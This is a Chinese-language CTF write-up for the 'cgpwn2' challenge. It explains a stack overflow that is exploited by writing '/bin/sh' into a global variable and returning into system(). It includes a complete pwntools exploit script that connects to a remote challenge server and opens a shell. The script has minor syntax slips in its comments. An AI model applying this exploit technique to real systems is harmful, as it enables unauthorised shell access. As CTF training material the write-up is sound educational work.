cgpwn2题解 首先进行程序基本信息检查:
需要注意的是,在尝试运行程序的过程中,发现对输入进行了验证,这可能对解题产生影响,也可能不会,先留意一下。
IDA查看一下源码: 存在栈溢出,又知道system的函数,理论上来讲直接调用system去执行"/bin/sh"就可以了。但是题目没有给出"/bin/sh"。怎么办呢?我们自己构造然后传入进去就可以了。 在hello函数中,name是一个全局变量,我们将"/bin/sh"传入到name中,那么"/bin/sh"的地址就是name的地址。然后调用system函数去调用就可以了。
首先看一下name的地址:
然后是hello的stack布局:
这里我们使用(0x26 + 4)个数据就可以到达返回地址了。
将返回地址覆盖为system函数的地址,然后再传入我们的name,此时name的地址其实就是"/bin/sh"的地址,相当于给system传入了"/bin/sh"作为参数。
payload的构成已经清晰了:
payload="A"*42+p32(system)+"A"*4+p32(name)
需要给system一个返回地址,随意即可,只要可以保证程序正常运行就行。 EXP:1
2
3
4
5
6
7
8
9
10
11
12
13
14
| from pwn import *
sh = remote('111.198.29.45',36990)
elf = ELF('./cgpwn2')
bss = 0x0804A080 //name的地址
sh.sendlineafter("name","/bin/sh\x00")
#sys_addr = 0x08048420 //直接在程序中找的
sys_addr = elf.symbols['system']//使用函数获取system地址,推荐这种
payload = "A"*42 + p32(sys_addr) + "A"*4 + p32(bss)
sh.sendlineafter("here",payload)
sh.interactive()
|
最后成功获取到flag:
总结这道题其实相对来说挺简单的,就是锻炼一下思路,没有现成的能用的"/bin/sh",我们就可以想办法自己构造一个。
|